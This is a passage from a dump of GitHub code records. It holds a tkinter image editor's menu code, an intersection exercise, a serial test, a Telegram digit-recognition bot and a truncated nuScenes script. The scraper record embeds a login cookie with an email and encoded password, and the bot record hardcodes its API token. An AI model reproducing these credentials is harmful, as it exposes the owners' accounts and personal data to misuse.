\"Saturation\", \"Contrast\", \"Shadow\", \"Highlight\", \"RGB\"]:\n if item == \"Enlarge\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Enlarge\"))\n elif item == \"Rotate\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Rotate\"))\n elif item == \"Cut\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Cut\"))\n edit_menu.add_separator()\n elif item == \"Brightness\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Brightness\"))\n elif item == \"Saturation\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Saturation\"))\n elif item == \"Contrast\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Contrast\"))\n elif item == \"Shadow\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Shadow_improvement\"))\n elif item == \"Highlight\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"Highlight\"))\n elif item == \"RGB\":\n edit_menu.add_command(label=item, command=lambda: placeItem(\"RGB\"))\n menubar.add_cascade(label=\"Edit\", menu=edit_menu)\n\n # Filter menu options\n filter_menu = tkinter.Menu(menubar, tearoff=False)\n for item in [\"Cartoon\", \"InkPainting\", \"WaterColour\", \"OilPainting\", \"PencilSketch\", \"Cyberpunk\",\n \"OldPhoto\", \"Popart\"]:\n if item == \"Cartoon\":\n filter_menu.add_command(label=item, command=CB)\n elif item == \"InkPainting\":\n Ink_menu = tkinter.Menu(root)\n Ink_menu.add_command(label=item + \"_RGB\", command=img2ink)\n Ink_menu.add_command(label=item + \"_GRAY\", command=img2ink_gray)\n filter_menu.add_cascade(label=item, menu=Ink_menu)\n elif item == \"WaterColour\":\n filter_menu.add_command(label=item, command=img_watercolour)\n elif item == \"OilPainting\":\n filter_menu.add_command(label=item, command=img_oilPainting)\n elif item == \"PencilSketch\":\n filter_menu.add_command(label=item, command=img_pencil)\n elif item == \"Cyberpunk\":\n filter_menu.add_command(label=item, command=img_cyberpunk)\n elif item == \"Popart\":\n filter_menu.add_command(label=item, command=img_popart)\n elif item == \"OldPhoto\":\n filter_menu.add_command(label=item, command=img_old_photo)\n menubar.add_cascade(label=\"Filter\", menu=filter_menu)\n\n # Beauty Menu\n bilateralFilter_menu = tkinter.Menu(menubar, tearoff=False)\n for item in [\"Slight\", \"Moderate\", \"High\"]:\n if item == \"Slight\":\n bilateralFilter_menu.add_command(label=item, command=lambda: Portrait_beautification(10))\n elif item == \"Moderate\":\n bilateralFilter_menu.add_command(label=item, command=lambda: Portrait_beautification(30))\n elif item == \"High\":\n bilateralFilter_menu.add_command(label=item, command=lambda: Portrait_beautification(60))\n menubar.add_cascade(label=\"P&B\", menu=bilateralFilter_menu)\n\n # Image borders\n Border_menu = tkinter.Menu(menubar, tearoff=False)\n for item in [\"type1\", \"type2\", \"type3\", \"type4\", \"type5\", \"type6\"]:\n if item == \"type1\":\n Border_menu.add_command(label=item, command=lambda: img_border(1))\n elif item == \"type2\":\n Border_menu.add_command(label=item, command=lambda: img_border(3))\n elif item == \"type3\":\n Border_menu.add_command(label=item, command=lambda: img_border(2))\n elif item == \"type4\":\n Border_menu.add_command(label=item, command=lambda: img_border(4))\n elif item == \"type5\":\n Border_menu.add_command(label=item, command=lambda: img_border(5))\n elif item == \"type6\":\n Border_menu.add_command(label=item, command=lambda: img_border(6))\n menubar.add_cascade(label=\"Border\", menu=Border_menu)\n\n # Featured Tools\n tool_menu = tkinter.Menu(menubar, tearoff=False)\n # d = {\"Mix\":lambda: placeItem(\"Mix\"), \"Slice\", \"Colorful\", \"ColorTransform\", \"Pixelate\", \"Lego\", \"MineCraft\"}\n # d = {\"Mix\": lambda: placeItem(\"Mix\")}\n # for i in d:\n # tool_menu.add_command(label=i, command=d[i])\n for item in [\"Mix\", \"Slice\", \"illumination\", \"Colourful\", \"Sky_Trans\", \"GetForeground\", \"ColourTrans\", \"Pixelate\",\n \"Lego\", \"Hearts\", \"MineCraft\",\n \"Glasgow\"]:\n if item == \"Mix\":\n tool_menu.add_command(label=item, command=lambda: placeItem(\"Mix\"))\n elif item == \"Slice\":\n tool_menu.add_command(label=item, command=img_slice)\n elif item == \"illumination\":\n tool_menu.add_command(label=item, command=img_lightning)\n elif item == \"Colourful\":\n tool_menu.add_command(label=item, command=img_auto_colorful)\n elif item == \"ColourTrans\":\n tool_menu.add_command(label=item, command=img_color_transfer)\n tool_menu.add_separator()\n elif item == \"GetForeground\":\n GF_menu = tkinter.Menu(root)\n GF_menu.add_command(label=\"Black\", command=lambda: img_get_foreground(\"Black\"))\n GF_menu.add_command(label=\"Withe\", command=lambda: img_get_foreground(\"W\"))\n GF_menu.add_command(label=\"Red\", command=lambda: img_get_foreground(\"R\"))\n GF_menu.add_command(label=\"Blue\", command=lambda: img_get_foreground(\"B\"))\n tool_menu.add_cascade(label=item, menu=GF_menu)\n elif item == \"Sky_Trans\":\n tool_menu.add_command(label=item, command=change_sky)\n tool_menu.add_separator()\n elif item == \"Pixelate\":\n tool_menu.add_command(label=item, command=img_to_pix)\n elif item == \"Lego\":\n tool_menu.add_command(label=item, command=img_to_lego)\n elif item == \"Hearts\":\n tool_menu.add_command(label=item, command=img_to_heart)\n elif item == \"MineCraft\":\n tool_menu.add_command(label=item, command=img_to_mc)\n elif item == \"Glasgow\":\n tool_menu.add_command(label=item, command=img_glsg)\n\n menubar.add_cascade(label=\"SpecialTool\", menu=tool_menu)\n\n # Style Migration Tool\n style_menu = tkinter.Menu(menubar, tearoff=False)\n for item in [\"Candy\", \"Feathers\", \"La_muse\", \"Mosaic\", \"Starry_night\", \"Scream\", \"Wave\", \"Udnie\", \"Composition\"]:\n if item == \"Candy\":\n candy_menu = tkinter.Menu(root)\n candy_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"candy\"))\n candy_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"candy\"))\n style_menu.add_cascade(label=item, menu=candy_menu)\n\n elif item == \"Composition\":\n composition_menu = tkinter.Menu(root)\n composition_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"composition\"))\n composition_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"composition\"))\n style_menu.add_cascade(label=item, menu=composition_menu)\n\n elif item == \"Feathers\":\n feathers_menu = tkinter.Menu(root)\n feathers_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"feathers\"))\n feathers_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"feathers\"))\n style_menu.add_cascade(label=item, menu=feathers_menu)\n\n elif item == \"La_muse\":\n la_muse_menu = tkinter.Menu(root)\n la_muse_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"la_muse\"))\n la_muse_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"la_muse\"))\n style_menu.add_cascade(label=item, menu=la_muse_menu)\n\n elif item == \"Mosaic\":\n mosaic_menu = tkinter.Menu(root)\n mosaic_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"mosaic\"))\n mosaic_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"mosaic\"))\n style_menu.add_cascade(label=item, menu=mosaic_menu)\n\n elif item == \"Starry_night\":\n starry_night_menu = tkinter.Menu(root)\n starry_night_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"starry_night\"))\n starry_night_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"starry_night\"))\n style_menu.add_cascade(label=item, menu=starry_night_menu)\n\n elif item == \"Scream\":\n scream_menu = tkinter.Menu(root)\n scream_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"scream\"))\n scream_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"scream\"))\n style_menu.add_cascade(label=item, menu=scream_menu)\n\n elif item == \"Udnie\":\n udnie_menu = tkinter.Menu(root)\n udnie_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"udnie\"))\n udnie_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"udnie\"))\n style_menu.add_cascade(label=item, menu=udnie_menu)\n\n elif item == \"Wave\":\n wave_menu = tkinter.Menu(root)\n wave_menu.add_command(label=item + \"_old\", command=lambda: img_style_transform(\"wave\"))\n wave_menu.add_command(label=item + \"_new\", command=lambda: img_style_transform_old(\"wave\"))\n style_menu.add_cascade(label=item, menu=wave_menu)\n\n menubar.add_cascade(label=\"StyleTransform\", menu=style_menu)\n\n # canvas\n canvas = tkinter.Canvas(root, width=700, height=500, bg=\"white\")\n\n # progress bar\n time_scale = Progressbar(root, length=100, variable=P)\n\n # temporary storage\n TempSave = Button(root, text=\"done\", command=temp_save)\n # restart\n restore_button = Button(root, text=\"Restart\", command=restore)\n\n # # canvas\n # redo_button = Button(root, text=\"Redo\", command=Redo)\n # # undo\n # undo_button = Button(root, text=\"Undo\", command=Undo)\n # redo_button.place(x=50, y=30, width=40, height=20)\n # undo_button.place(x=100, y=30, width=40, height=20)\n\n # file name\n filename_label = Label(root, textvariable=filename)\n\n # brightness adjustment\n # brightness_up_button = Button(root, text=\"UP\", command=lambda: img_BrightnessEdit(1))\n # brightness_down_button = Button(root, text=\"DOWN\", command=lambda: img_BrightnessEdit(-1))\n\n # select file button\n # select_button = Button(root, text=\"Image\", command=findIMG)\n # select_button.place(x=40, y=50, width=100, height=30)\n\n # filter\n # box_list = ttk.Combobox(root, textvariable=box_value, state=\"readonly\")\n # box_list[\"values\"] = (\"Cartoon\", \"Popart\", \"WaterColor\", \"OilPainting\", \"PencilSketch\")\n # box_list.bind(\"<>\", Filter)\n # box_list.place(x=40, y=100, width=100, height=30)\n\n # filter button\n # cartoon_button = Button(root, text=\"Cartoon\", command=CB)\n # cartoon_button.place(x=40, y=100, width=100, height=30)\n\n # waterColor_button = Button(root, text=\"WaterColor\", command=img_watercolour)\n # waterColor_button.place(x=40, y=200, width=100, height=30)\n\n # oilPainting_button = Button(root, text=\"OilPainting\", command=img_oilPainting)\n # oilPainting_button.place(x=40, y=250, width=100, height=30)\n\n # pencil_button = Button(root, text=\"PencilSketch\", command=img_pencil)\n # pencil_button.place(x=40, y=300, width=100, height=30)\n\n # restart\n # restore_button = Button(root, text=\"Restart\", command=restore)\n # restore_button.place(x=40, y=150, width=100, height=30)\n\n # save document\n # save_button = Button(root, text=\"Save\", command=fileSave)\n # save_button.place(x=40, y=200, width=100, height=30)\n\n # Slice_button = Button(root, text=\"Slice\", command=img_slice)\n # Slice_button.place(x=40, y=250, width=100, height=30)\n # Rotate slider\n\n # cut_button = Button(root, text=\"cutImage\", command=openCutWin)\n # cut_button.place(x=40, y=250, width=100, height=30)\n global tip_flag\n tip_flag = 1\n\n # get selected file\n filename.set(filedialog.askopenfilename())\n IMG = cv2.imread(filename.get())\n IMGs = []\n position = 0\n cover = np.zeros(IMG.shape)\n Showimage(IMG, canvas, 'fit')\n conf.IMAGE_TO_TILE = \"name\"\n\n filename_label.pack(anchor=\"n\")\n canvas.pack(padx=20, pady=20)\n root.mainloop()\n","repo_name":"well-Wzg/ImageCraft","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":52381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73586924710","text":"# def interection(list1, list2): \n# dictionary = {} \n# list = [] \n# for element in list1:\n# if element in dictionary:\n# dictionary[element] += 1\n\n# else:\n# dictionary[element] = 1 \n\n \n# for element in list2:\n# if element in dictionary and dictionary[element] !=0 :\n \n# list.append(element)\n# dictionary[element] -= 1 \n# print(list)\n \n\n# new_set = set()\n# for element in list:\n# if element not in new_set:\n# new_set.add(element)\n# print(new_set)\n# final_list = []\n\n# for element in new_set:\n# print(element)\n# final_list.append(element)\n# print(final_list)\n \n# return final_list\n\n \n# print(interection([1,2,2,1],[2,2]))\n\n\n \ndef intersection(list1, list2):\n list = []\n i = 0\n j = 0\n while i < len(list1) and j < len(list2):\n if list1[i] == list2[j] :\n if list1[i] != list1[i-1] or i == 0:\n list.append(list1[i])\n i += 1\n j += 1\n elif list1[i] < list2[j]:\n i += 1\n else:\n j += 1\n return list\nprint(intersection([1,2,2,1],[2,2]))\n\n \n","repo_name":"ArunGiri392/FamousCodingInterviewQuestions","sub_path":"ins.py","file_name":"ins.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17845222484","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport gzip\nfrom urllib import request\nfrom urllib import parse\n\nheaders = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Cookie': (\n 'loginName=mark3333520%40163.com; '\n 'loginPwd=f3in2oWmp61%2F'\n 'dHqnfanUzo6oqWKMjKnOl4h%2B'\n 'mK7LlNyMi6zNhsy3rX9igmOKqLbcg6W4qoCvg8qAZ3%2F'\n 'Pv7WVzYyhq9qGtrtoiqqSp324q86BqLmega97zoBne8u%2F'\n 'pZySgXu3mJHPrKN%2'\n 'FqoJkic6rz47LvZ98o2Wf;'\n ),\n 'Host': 'onepool.cc',\n 'Referer': 'http://onepool.cc/eco-bhd/user/income_inquiry.html',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': (\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/70.0.3538.25 '\n 'Safari/537.36 Core/1.70.3704.400 '\n 'QQBrowser/10.4.3587.400'\n )\n}\n\nurl = 'http://onepool.cc/eco-bhd/user/asset.html'\n\nreq = request.Request(url=url, headers=headers)\nresp = request.urlopen(req, timeout=3)\ninfo = resp.info()\n\nif ('Content-Encoding' in info and info['Content-Encoding'] == 'gzip') or ('content-encoding' in info and info['content-encoding'] == 'gzip'):\n resp = gzip.decompress(resp.read()).decode('utf-8')\nelse:\n resp = resp.read().decode('utf-8')\nprint(resp)\n","repo_name":"xusongbin/python-test","sub_path":"Application/BHD/test/get_cookie.py","file_name":"get_cookie.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"36178371421","text":"from serial import Serial\nfrom struct import unpack\nimport time\n\nserialtimeout=1.0\nser=Serial(\"COM6\",1500000,timeout=serialtimeout) #115200\n\n#This sends out some data over serial - good for testing serial decoding\n\ni=0\nwhile i<200000:\n ser.write(bytearray([139,159]))\n time.sleep(0.1)\n i=i+1\n print(i)\n\nser.close()\n","repo_name":"drandyhaas/Haasoscope","sub_path":"software/serial_write_test_py3.py","file_name":"serial_write_test_py3.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"71"} +{"seq_id":"31413566350","text":"# Bot DogBot that sends a random dog picture when receives /bop from user.\r\n\r\nfrom telegram.ext import Updater, InlineQueryHandler, CommandHandler, MessageHandler, Filters\r\nimport requests\r\nimport re\r\nimport cv2\r\nfrom PIL import Image\r\n\r\n# Baseline MLP for MNIST dataset\r\nfrom keras.datasets import mnist\r\nimport matplotlib.pyplot as plt\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Conv2D, Dropout, Flatten, MaxPooling2D\r\nfrom keras.utils import np_utils\r\nimport h5py\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing.image import load_img\r\nfrom keras.preprocessing.image import img_to_array\r\nfrom keras.preprocessing.image import array_to_img\r\nimport numpy as np\r\nfrom scipy import ndimage\r\nimport math\r\n\r\n\r\ndef getBestShift(img):\r\n cy,cx = ndimage.measurements.center_of_mass(img)\r\n\r\n rows,cols = img.shape\r\n shiftx = np.round(cols/2.0-cx).astype(int)\r\n shifty = np.round(rows/2.0-cy).astype(int)\r\n\r\n return shiftx,shifty\r\n\r\ndef shift(img,sx,sy):\r\n rows,cols = img.shape\r\n M = np.float32([[1,0,sx],[0,1,sy]])\r\n shifted = cv2.warpAffine(img,M,(cols,rows))\r\n return shifted\r\n\r\n\r\ndef preprocess_image(img):\r\n\r\n # All images are size normalized to fit in a 20x20 pixel box and they are centered in a 28x28 image using the center of mass.\r\n\r\n gray = cv2.resize(255-np.asarray(img), (28, 28), cv2.INTER_LANCZOS4)\r\n (thresh, gray) = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\r\n\r\n # fit the images into this 20x20 pixel box. Therefore we need to remove every row and column at the sides of the image which are completely black.\r\n while np.sum(gray[0]) == 0:\r\n gray = gray[1:]\r\n\r\n while np.sum(gray[:,0]) == 0:\r\n gray = np.delete(gray,0,1)\r\n\r\n while np.sum(gray[-1]) == 0:\r\n gray = gray[:-1]\r\n\r\n while np.sum(gray[:,-1]) == 0:\r\n gray = np.delete(gray,-1,1)\r\n\r\n rows,cols = gray.shape\r\n\r\n # resize our outer box to fit it into a 20x20 box\r\n if rows > cols:\r\n factor = 20.0/rows\r\n rows = 20\r\n cols = int(round(cols*factor))\r\n gray = cv2.resize(gray, (cols,rows))\r\n else:\r\n factor = 20.0/cols\r\n cols = 20\r\n rows = int(round(rows*factor))\r\n gray = cv2.resize(gray, (cols, rows))\r\n\r\n # we need a 28x28 pixel image so we add the missing black rows and columns using the np.lib.pad function which adds 0s to the sides.\r\n colsPadding = (int(math.ceil((28-cols)/2.0)),int(math.floor((28-cols)/2.0)))\r\n rowsPadding = (int(math.ceil((28-rows)/2.0)),int(math.floor((28-rows)/2.0)))\r\n gray = np.lib.pad(gray,(rowsPadding,colsPadding),'constant')\r\n\r\n shiftx,shifty = getBestShift(gray)\r\n shifted = shift(gray,shiftx,shifty)\r\n gray = shifted\r\n img = gray\r\n return img\r\n\r\n\r\ndef predict(bot, chat_id):\r\n # global model\r\n model = load_model(\"new_digit_model.h5\")\r\n # load the image\r\n img = load_img('image.png', color_mode = \"grayscale\")\r\n width, height = img.size\r\n # print(\"width: \",width)\r\n # print(\"height: \",height)\r\n if width>1000 or height>1000: # some of the smaller images did not respond well to the image preprocessing\r\n print(\"Preprocessing image...\")\r\n img = preprocess_image(img)\r\n else:\r\n print(\"Not preprocessing image...\")\r\n # img = np.invert(load_img('image.png', color_mode = \"grayscale\", target_size = (28,28)))\r\n img = img.resize((28,28), Image.LANCZOS) # Image.NEAREST is used above\r\n img = np.invert(img)\r\n\r\n cv2.imwrite(\"processed.png\", img)\r\n img_array = img_to_array(img)\r\n img_array /= 255 # nn scales down pixels between 0 and 1\r\n pred = model.predict(img_array.reshape(1,28,28,1))\r\n best_pred = str(pred.argmax())\r\n best_percent = str(round(pred.max()*100,2))\r\n print(best_pred)\r\n print(best_percent)\r\n sent = best_pred + \" (with \" + best_percent + \"% confidence).\"\r\n bot.send_message(chat_id=chat_id, text=sent)\r\n\r\n\r\ndef receive_image(bot, update):\r\n chat_id = update.message.chat_id\r\n file = bot.getFile(update.message.photo[-1].file_id)\r\n bot.send_message(chat_id=chat_id, text=\"Processing image...\")\r\n file.download('image.png')\r\n predict(bot, chat_id)\r\n\r\n\r\n\r\ndef main():\r\n updater = Updater('1031604196:AAFVlKDWmeXM8TJ3p6ZIoMGvf0nfJTMy-C4')\r\n dp = updater.dispatcher\r\n dp.add_handler(MessageHandler(Filters.photo, receive_image))\r\n updater.start_polling()\r\n updater.idle()\r\n\r\n# print(\"broken here\")\r\n# model = load_model('new_digit_model.h5')\r\n# print(\"here\")\r\n# # load the image\r\n# img = load_img('image.png', color_mode = \"grayscale\")\r\n# width, height = img.size\r\n# # print(\"width: \",width)\r\n# # print(\"height: \",height)\r\n# if width>1000 or height>1000: # some of the smaller images did not respond well to the image preprocessing\r\n# print(\"Preprocessing image...\")\r\n# img = preprocess_image(img)\r\n# else:\r\n# print(\"Not preprocessing image...\")\r\n# # img = np.invert(load_img('image.png', color_mode = \"grayscale\", target_size = (28,28)))\r\n# img = img.resize((28,28), Image.LANCZOS) # Image.NEAREST is used above\r\n# img = np.invert(img)\r\n#\r\n# cv2.imwrite(\"processed.png\", img)\r\n# print(\"Image written\")\r\n# img_array = img_to_array(img)\r\n# img_array /= 255 # nn scales down pixels between 0 and 1\r\n# print(\"pre-predicted\")\r\n# pred = model.predict(img_array.reshape(1,28,28,1))\r\n# print(\"predicted\")\r\n# best_pred = str(pred.argmax())\r\n# best_percent = str(round(pred.max()*100,2))\r\n# print(best_pred)\r\n# print(best_percent)\r\n# # sent = best_pred + \" (with \" + best_percent + \"% confidence).\"\r\n# # bot.send_message(chat_id=chat_id, text=sent)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"rs-anderson/Telegram_Digit_Recognition_Bot","sub_path":"final_digit_recognizer_bot.py","file_name":"final_digit_recognizer_bot.py","file_ext":"py","file_size_in_byte":6027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4128100020","text":"''' Prepare nuScenes data for 3D object detection.\n\nAuthor: Siming Fan\nDate: January 2020\n'''\nimport os\nimport sys\nimport numpy as np\nimport cv2\nfrom PIL import Image\nfrom matplotlib.axes import Axes\nfrom nuscenes.utils.geometry_utils import view_points, box_in_image, BoxVisibility, transform_matrix\nfrom typing import Tuple, List, Dict\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = os.path.dirname(BASE_DIR)\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.join(ROOT_DIR, 'mayavi'))\n#import kitti_util as utils\nimport _pickle as pickle\nfrom nuscenes_object import *\nimport argparse\nimport ipdb\nfrom nuscenes.nuscenes import NuScenes\nimport matplotlib.pyplot as plt\ndef in_hull(p, hull):\n from scipy.spatial import Delaunay\n if not isinstance(hull, Delaunay):\n hull = Delaunay(hull)\n return hull.find_simplex(p) >= 0\n\n\ndef extract_pc_in_box3d(pc, box3d):\n ''' pc: (N,3), box3d: (8,3) '''\n box3d_roi_inds = in_hull(pc[:, 0:3], box3d)\n return pc[box3d_roi_inds, :], box3d_roi_inds\n\n\ndef extract_pc_in_box2d(pc, box2d):\n ''' pc: (N,2), box2d: (xmin,ymin,xmax,ymax) '''\n box2d_corners = np.zeros((4, 2))\n box2d_corners[0, :] = [box2d[0], box2d[1]]\n box2d_corners[1, :] = [box2d[2], box2d[1]]\n box2d_corners[2, :] = [box2d[2], box2d[3]]\n box2d_corners[3, :] = [box2d[0], box2d[3]]\n box2d_roi_inds = in_hull(pc[:, 0:2], box2d_corners)\n return pc[box2d_roi_inds, :], box2d_roi_inds\n\nclass Box2d:\n \"\"\" Simple data class representing a 2d box including, label, score. \"\"\"\n\n def __init__(self,\n corners: List[float],\n label: int = np.nan,\n score: float = np.nan,\n name: str = None,\n token: str = None,\n visibility: str = \"0\",\n filename: str = None):\n \"\"\"\n :param center: Center of box given as x, y, z.\n :param size: Size of box in width, length, height.\n :param orientation: Box orientation.\n :param label: Integer label, optional.\n :param score: Classification score, optional.\n :param velocity: Box velocity in x, y, z direction.\n :param name: Box name, optional. Can be used e.g. for denote category name.\n :param token: Unique string identifier from DB.\n \"\"\"\n assert not np.any(np.isnan(corners))\n assert len(corners) == 4\n\n self.corners = np.array(corners)\n self.label = int(label) if not np.isnan(label) else label\n self.score = float(score) if not np.isnan(score) else score\n self.name = name\n self.token = token\n self.visibility = visibility\n self.filename = filename\n def render(self,\n axis: Axes,\n view: np.ndarray = np.eye(3),\n normalize: bool = False,\n colors: Tuple = ('b', 'r', 'k'),\n linewidth: float = 2) -> None:\n \"\"\"\n Renders the box in the provided Matplotlib axis.\n :param axis: Axis onto which the box should be drawn.\n :param view: . Define a projection in needed (e.g. for drawing projection in an image).\n :param normalize: Whether to normalize the remaining coordinate.\n :param colors: (: 3). Valid Matplotlib colors ( or normalized RGB tuple) for front,\n back and sides.\n :param linewidth: Width in pixel of the box sides.\n \"\"\"\n\n axis.plot([self.corners[0], self.corners[0]], [self.corners[1],self.corners[3]], color=colors[0], linewidth=linewidth)\n axis.plot([self.corners[2], self.corners[2]], [self.corners[1], self.corners[3]], color=colors[0],linewidth=linewidth)\n axis.plot([self.corners[0], self.corners[2]], [self.corners[1], self.corners[1]], color=colors[0],linewidth=linewidth)\n axis.plot([self.corners[0], self.corners[2]], [self.corners[3], self.corners[3]], color=colors[0],linewidth=linewidth)\n\n\ndef get_boxes2d(sample_data_token: str, image_annotations_token2ind = {}, image_annotations = []):\n nusc = NuScenes(version='v1.0-mini', dataroot='dataset/nuScenes/v1.0-mini', verbose=True)\n # Retrieve sensor & pose records\n sd_record = nusc.get('sample_data', sample_data_token)\n curr_sample_record = nusc.get('sample', sd_record['sample_token'])\n #curr_sample_record['image_anns']\n\n boxes2d = []\n if curr_sample_record['prev'] == \"\" or sd_record['is_key_frame']:\n # If no previous annotations available, or if sample_data is keyframe just return the current ones.\n for i,x in enumerate(curr_sample_record['anns']):\n record = nusc.get('sample_annotation', x)\n instance_token = record['instance_token']\n record2d = image_annotations[image_annotations_token2ind[instance_token]]\n box2d = Box2d(record2d['bbox_corners'], name=record2d['category_name'], token=record2d['sample_annotation_token'],\n visibility=record2d['visibility_token'],filename=record2d['filename'])\n boxes2d.append(box2d)\n\n else:\n prev_sample_record = nusc.get('sample', curr_sample_record['prev'])\n\n curr_ann_recs = [nusc.get('sample_annotation', token) for token in curr_sample_record['anns']]\n prev_ann_recs = [nusc.get('sample_annotation', token) for token in prev_sample_record['anns']]\n\n # Maps instance tokens to prev_ann records\n prev_inst_map = {entry['instance_token']: entry for entry in prev_ann_recs}\n\n t0 = prev_sample_record['timestamp']\n t1 = curr_sample_record['timestamp']\n t = sd_record['timestamp']\n\n # There are rare situations where the timestamps in the DB are off so ensure that t0 < t < t1.\n t = max(t0, min(t1, t))\n\n boxes = []\n for curr_ann_rec in curr_ann_recs:\n\n if curr_ann_rec['instance_token'] in prev_inst_map:\n # If the annotated instance existed in the previous frame, interpolate center & orientation.\n prev_ann_rec = prev_inst_map[curr_ann_rec['instance_token']]\n\n # Interpolate center.\n center = [np.interp(t, [t0, t1], [c0, c1]) for c0, c1 in zip(prev_ann_rec['translation'],\n curr_ann_rec['translation'])]\n\n # Interpolate orientation.\n rotation = Quaternion.slerp(q0=Quaternion(prev_ann_rec['rotation']),\n q1=Quaternion(curr_ann_rec['rotation']),\n amount=(t - t0) / (t1 - t0))\n\n box = Box(center, curr_ann_rec['size'], rotation, name=curr_ann_rec['category_name'],\n token=curr_ann_rec['token'])\n else:\n # If not, simply grab the current annotation.\n box = self.get_box(curr_ann_rec['token'])\n\n boxes.append(box)\n return boxes2d\n\ndef get_color(category_name: str) -> Tuple[int, int, int]:\n \"\"\"\n Provides the default colors based on the category names.\n This method works for the general nuScenes categories, as well as the nuScenes detection categories.\n \"\"\"\n if 'bicycle' in category_name or 'motorcycle' in category_name:\n return 255, 61, 99 # Red\n elif 'vehicle' in category_name or category_name in ['bus', 'car', 'construction_vehicle', 'trailer', 'truck']:\n return 255, 158, 0 # Orange\n elif 'pedestrian' in category_name:\n return 0, 0, 230 # Blue\n elif 'cone' in category_name or 'barrier' in category_name:\n return 0, 0, 0 # Black\n else:\n return 255, 0, 255 # Magenta\n\ndef render_image_annotations(sample_data_token: str, with_anns: bool = True, out_path = None,\n box_vis_level: BoxVisibility = BoxVisibility.ANY,\n axes_limit: float = 40,ax: Axes = None, image_annotations_token2ind = {},\n image_annotations = [],visibilities = ['','1','2','3','4'],cam_type = 'CAM_FRONT'):\n _cam_type = '/' + cam_type + '/'\n nusc = NuScenes(version='v1.0-mini', dataroot='dataset/nuScenes/v1.0-mini', verbose=True)\n # Get sensor modality.\n sd_record = nusc.get('sample_data', sample_data_token)\n sensor_modality = sd_record['sensor_modality']#'camera'\n '''\n data_path, boxes, camera_intrinsic = nusc.get_sample_data(sample_data_token,\n box_vis_level=box_vis_level)\n '''\n cs_record = nusc.get('calibrated_sensor', sd_record['calibrated_sensor_token'])\n sensor_record = nusc.get('sensor', cs_record['sensor_token'])\n pose_record = nusc.get('ego_pose', sd_record['ego_pose_token'])\n data_path = nusc.get_sample_data_path(sample_data_token)#'dataset/nuScenes/v1.0-mini/samples/CAM_FRONT/n015-2018-07-24-11-22-45+0800__CAM_FRONT__1532402927612460.jpg'\n\n camera_intrinsic = np.array(cs_record['camera_intrinsic'])\n imsize = (sd_record['width'], sd_record['height'])\n\n '''\n boxes[0]:\n label: nan, score: nan, \n xyz: [373.26, 1130.42, 0.80], \n wlh: [0.62, 0.67, 1.64], \n rot axis: [0.00, 0.00, -1.00], \n ang(degrees): 21.09, ang(rad): 0.37, \n vel: nan, nan, nan, \n name: human.pedestrian.adult, \n token: ef63a697930c4b20a6b9791f423351da\n '''\n boxes2d = get_boxes2d(sample_data_token=sample_data_token,\n image_annotations_token2ind=image_annotations_token2ind,\n image_annotations=image_annotations)\n '''\n box2d_list = []\n for box2d in boxes2d:\n if use_flat_vehicle_coordinates:\n # Move box to ego vehicle coord system parallel to world z plane.\n yaw = Quaternion(pose_record['rotation']).yaw_pitch_roll[0]\n box.translate(-np.array(pose_record['translation']))\n box.rotate(Quaternion(scalar=np.cos(yaw / 2), vector=[0, 0, np.sin(yaw / 2)]).inverse)\n else:\n # Move box to ego vehicle coord system.\n box.translate(-np.array(pose_record['translation']))\n box.rotate(Quaternion(pose_record['rotation']).inverse)\n\n # Move box to sensor coord system.\n box.translate(-np.array(cs_record['translation']))\n box.rotate(Quaternion(cs_record['rotation']).inverse)\n\n if sensor_record['modality'] == 'camera' and not \\\n box_in_image(box, cam_intrinsic, imsize, vis_level=box_vis_level):\n continue\n 